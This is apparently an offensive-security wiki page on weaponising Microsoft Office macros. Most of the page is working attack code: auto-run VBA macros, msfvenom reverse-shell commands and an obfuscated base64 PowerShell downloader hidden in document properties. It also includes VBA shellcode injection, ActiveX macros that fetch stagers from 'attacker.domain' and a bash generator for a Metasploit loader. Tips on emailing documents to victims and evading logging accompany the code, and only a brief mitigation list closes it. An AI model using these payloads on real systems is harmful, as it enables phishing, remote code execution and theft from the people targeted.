Office Macros

to create a macro in an office word document:

  • Create new word document (CTRL+N)

  • Hit ALT+F11 to go into Macro editor

  • Double click into the "This document" and CTRL+C/V the below:

Private Sub Document_Open()
  MsgBox "game over", vbOKOnly, "game over"
  a = Shell("C:\tools\shell.cmd", vbHide)
End Sub

ALT+F11 to switch back to the document editing mode and add a flair of social engineering like so:

Save the file as a macro enabled document, for example a Doc3.dotm:

Victim launching the Doc3.dotm:

a message box will appear.

generate reverse shell macro payload for office word:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -e x86/shikata_ga_nai -f vba-psh > macro.

Generating VBA Macros

  • Paste the output of the first portion of the payload script into the editor, save it.

  • Paste the remainder of the script into the word document itself. This is when you would perform the client-side attack by emailing this Word document to someone.

#Msfvenom
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PN> -e x86/shikata_ga_nai -f vba-exe   
msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread
#Other formats:
-f vba-psh, vba (No need to follow below steps)

'* This code is now split into two pieces:
'*  1. The Macro. This must be copied into the Office document
'*     macro editor. This macro will run on startup.
'*
'*  2. The Data. The hex dump at the end of this output must be
'*     appended to the end of the document contents.
#Convert to Base64 Encoding
$command = "calc"
$bytes = [Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand

powershell.exe -nop -w hidden -e $encodedCommand

Reference

Sharpshooter

Custom Macro Development

Msfvenom + Unicorn

msfvenom -p /windows/x64/meterpreter/reverse_http LHOST=eth0 LPORT=443 -f csharp -o payload.cs

git clone https://github.com/trustedsec/unicorn.git
python unicorn.py <path to payload.cs> shellcode macro

Embed as macro in Word

MaliciousMacroGenerator

Remote Template Injection

DOCX files referencing a template that includes macros can "execute" macros as well.

1] Create a .DOTM template document containing Macros

2] Create a .DOCX file from Word default templates -> Rename as .zip -> Extract .zip -> Modify word\_rels\settings.xml.rels

3] Save file → Select all unzipped files and zip → Change extension to .docx

4] Execution

  • Opening the document creates 4 HTTP requests.

  • Even without enable documents you can see if the doc was opened. → Good for metrics

Hidden in File Properties - Stdin to Avoid Logging

  • Command resides in "Author"/ Custom Excel form / Encoded form.

  • Hides PS commands from cmdline logging via invocation with StdIn.WriteLine

  • Trigger from a button.

  • Leveraging unused code for obfuscation.

Public Sub PrintDocumentProperties()
    Dim oApp As New Excel.Application
    Dim oWB As Workbook
    Set oWB = ActiveWorkbook
    
    Dim Exec As String
    
    #If VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr
#Else
Dim rwxpage As Long, res As Long
#End If

    Dim author As String
    author = oWB.BuiltinDocumentProperties("Author")
    
    Set objWshell = VBA.CreateObject("WScript.Shell")
    
Dim c As String
Const quote As String = """"

c = "WwBTAHkAUwB0AGUAbQAuAE4AZQBUAC4AUwBlAHIAdgBpAEMAZQBQAE8ASQBOAHQATQBhAE4AYQBnAEUAUgBdADoAOgBFAFgAcABlAEMAVAAxADAAMABDAG8AbgB0AGkATgBVAEUAIAA9ACAAMAA7ACQAVwBjAD0ATgBlAFcALQBPAEIASgBFAGMAVAAgAFMAWQBTAHQAZQBNAC4ATgBlAFQALgBXAGUAYgBDAEwAaQBlAE4AVAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAQwAuAEgARQBhAEQAZQByAHMALgBBAGQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAUgBPAFgAeQAgAD0AIABbAFMAeQBTAFQARQBNAC4ATgBlAHQALgBXAEUAQgBSAEUAcQB1AEUAcwB0AF0AOgA6AEQARQBGAEEAVQBMAFQAVwBFAEIAUABSAE8AWAB5ADsAJABXAEMALgBQAFIATwBYAFkALgBDAFIARQBEAGUATgBUAEkAQQBsAHMAI"
c = c + "AA9ACAAWwBTAFkAcwBUAGUAbQAuAE4ARQB0AC4AQwByAEUAZABFAG4AVABJAEEAbABDAEEAYwBoAEUAXQA6ADoARABlAGYAQQBVAGwAdABOAEUAdAB3AG8AUgBLAEMAcgBlAGQAZQBuAHQAaQBhAGwAUwA7ACQASwA9ACcAMwBlACoARwBrAFkATABVAFMAdgA2AGEAYgA0AE8ASwAhACUAUABpAEAAJAB0AHEAOQBcAD4AfAB+AHUAKwBSACcAOwAkAGkAPQAwADsAWwBjAGgAQQBSAFsAXQBdACQAYgA9ACgAWwBjAEgAYQByAFsAXQBdACgAJABXAGMALgBEAE8AdwBOAEwATwBBAEQAUwB0AFIAaQBOAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgA3ADoAOAAwADgAMAAvAGkAbgBkAGUAeAAuAGEAcwBwACIAKQApACkAfAAlAHsAJABfAC0AYgBYAG8AcgAkAGsAWwAkAEkAKwArACUAJABLAC4ATABlAG4AZwB0AGgAXQB9ADsASQBFAFgAIAAoACQAQgAtAEoATwBJAE4AJwAnACkA"

Dim objWshell1 As Object
Set objWshell1 = CreateObject("WScript.Shell")
With objWshell1.Exec("powershell.exe -nop -windowstyle hidden -Command -")
.StdIn.WriteLine author
.StdIn.WriteBlankLines 1
.Terminate
End With
      
End Sub

Shellcode Injection with Macro

This is a simple implementation of a shellcode execution which uses VirtualAlloc, CreateThread, and RtlMoveMemory to execute shellcode.

Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes
As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As
LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As
LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As
Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As
LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Function MyMacro()
 Dim buf As Variant
 Dim addr As LongPtr
 Dim counter As Long
 Dim data As Long
 Dim res As Long

 buf = Array(shellcode array)

 addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

 For counter = LBound(buf) To UBound(buf)
  data = buf(counter)
  res = RtlMoveMemory(addr + counter, data, 1)
 Next counter

 res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Sub Document_Open()
 MyMacro
 
End Sub
Sub AutoOpen()
 MyMacr

ActiveX Control for Macro Execution

  • Idea is to move away from traditionally used AutoOpen() and Document_Open() which are noisy.

  • File > Options > Customize Ribbon > Developer Tab > Controls > Legacy Tools > More Options

  • Each ActiveX control gives the option to add macros to its procedures.

#InkEdit Procedure - Ondisk footprint

Sub InkEdit1_GotFocus()
Run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https://trusted.domain/file.exe',‘file.exe');Start-Process ‘file.exe'", vbNormalFocus)
End Sub

#Inmemory execution

Sub InkEdit1_GotFocus()
Debugging
End Sub

Public Function Debugging() As Variant
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    objProcess.Create "powe" & "rshell.e" & "xe" & " -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c if ([IntPtr]::size -eq 4) {(new-object Net.WebClient).DownloadString('https://attacker.domain/stager1.ps1') | iex } else {(new-object Net.WebClient).DownloadString('https://attacker.domain/stager2.ps1') | iex}"
End Function

Procedures able to automatically run macros :

OS-aware Macro

  • Retrieves OS, hostname, username & sends to attacker server.

  • Link to script

RTF + Signed Binary + DLL Hijacking + Custom MSF Loader

  • Macro > Contains RTF > Contains Signed binary + DLL as OLE objects

  • Combined RTF's default behaviour of dropping OLE objects to TEMP folder, with DLL Hijacking vulnerability of trusted Kaspersky executable and custom-made MSF loader.

  • Kaspersky's kavremover.exe

  • Reference:

#Metasploit Loader Generator:  Usage: ./loader.sh

#!/bin/bash
clear
echo "****************************************************************"
echo "    Automatic C source code generator - FOR METASPLOIT          "
echo "           Based on rsmudge metasploit-loader                   "
echo "****************************************************************"
echo -en 'Metasploit server IP : '
read ip
echo -en 'Metasploit port number : '
read port

echo '#include <stdio.h>'> temp.c
echo '#include <stdlib.h>' >> temp.c
echo '#include <windows.h>' >> temp.c
echo '#include <winsock2.h>' >> temp.c
echo -n 'unsigned char server[]="' >> temp.c
echo -n $ip >> temp.c
echo -n '";' >> temp.c
echo '' >> temp.c
echo -n 'unsigned char serverp[]="' >> temp.c
echo -n $port >> temp.c
echo -n '";' >> temp.c
echo '' >> temp.c
echo 'void winsock_init() {' >> temp.c
echo '    WSADATA    wsaData;' >> temp.c
echo '    WORD    wVersionRequested;' >> temp.c
echo '    wVersionRequested = MAKEWORD(2, 2);'>> temp.c
echo '    if (WSAStartup(wVersionRequested, &wsaData) < 0) {' >> temp.c
echo '         printf("bad\n"); '>> temp.c
echo '         WSACleanup(); '>> temp.c
echo '        exit(1);'>> temp.c
echo '    }' >> temp.c
echo ' }' >> temp.c
echo ' void punt(SOCKET my_socket, char * error) {' >> temp.c
echo '    printf("r %s\n", error);'>> temp.c
echo '    closesocket(my_socket);'>> temp.c
echo '    WSACleanup();'>> temp.c
echo '    exit(1);' >> temp.c
echo ' }' >> temp.c
echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {' >> temp.c
echo '    int    tret   = 0;'>> temp.c
echo '    int    nret   = 0;'>>temp.c
echo '    void * startb = buffer;'>> temp.c
echo '    while (tret < len) {'>>temp.c
echo '        nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp.c
echo '        startb += nret;'>> temp.c
echo '        tret   += nret;'>>temp.c
echo '         if (nret == SOCKET_ERROR)'>> temp.c
echo '            punt(my_socket, "no data");'>> temp.c
echo '    }'>>temp.c
echo '    return tret;'>> temp.c
echo '}' >> temp.c
echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp.c
echo '    struct hostent *        target;' >> temp.c
echo '    struct sockaddr_in     sock;' >> temp.c
echo '    SOCKET             my_socket;'>>temp.c
echo '    my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp.c
echo '     if (my_socket == INVALID_SOCKET)'>> temp.c
echo '        punt(my_socket, ".");'>>temp.c
echo '    target = gethostbyname(targetip);'>>temp.c
echo '    if (target == NULL)'>>temp.c
echo '        punt(my_socket, "..");'>>temp.c
echo '    memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);'>>temp.c
echo '    sock.sin_family = AF_INET;'>> temp.c
echo '    sock.sin_port = htons(port);'>>temp.c
echo '    if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp.c
echo '         punt(my_socket, "...");'>>temp.c
echo '    return my_socket;'>>temp.c
echo '}' >> temp.c
echo 'int main(int argc, char * argv[]) {' >> temp.c
echo '  FreeConsole();'>>temp.c
echo '    ULONG32 size;'>>temp.c
echo '    char * buffer;'>>temp.c
echo '    void (*function)();'>>temp.c
echo '    winsock_init();'>> temp.c
echo '    SOCKET my_socket = wsconnect(server, atoi(serverp));'>>temp.c
echo '    int count = recv(my_socket, (char *)&size, 4, 0);'>>temp.c
echo '    if (count != 4 || size <= 0)'>>temp.c
echo '        punt(my_socket, "error lenght\n");'>>temp.c
echo '    buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);'>>temp.c
echo '    if (buffer == NULL)'>>temp.c
echo '        punt(my_socket, "error in buf\n");'>>temp.c
echo '    buffer[0] = 0xBF;'>>temp.c
echo '    memcpy(buffer + 1, &my_socket, 4);'>>temp.c
echo '    count = recv_all(my_socket, buffer + 5, size);'>>temp.c
echo '    function = (void (*)())buffer;'>>temp.c
echo '    function();'>>temp.c
echo '    return 0;'>>temp.c
echo '}' >> temp.c
echo 'Compiling C code to Dll ..'
i586-mingw32msvc-gcc  temp.c -o msi.dll -lws2_32 -shared
strip msi.dll
ls -la msi.dll


-----------------
#Export to exe. Test Payload with main.c
i586-mingw32msvc-gcc temp.c -o payload.exe -lws2_32 -mwindows

#Explort to dll
i586-mingw32msvc-gcc temp.c -o msi.dll -lws2_32 -shared
strip msi.dll

#Test dll
rundll32 msi.dll,main
  • Combining with Macro

Embedding Executable/Dll in a Macro (executable2vbs)

  • Contains an embedded executable in the form of hex dumps in strings.

  • Executable is re-assembled dropped in a temporary directory and executed.

  • On-disk footprint is high. Use an evasing executable/DLL.

Other Tools

Mitigation

  • On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office applications from creating child processes and from writing potentially malicious executable content to disk.

  • Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing.

  • Disable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing.

Last updated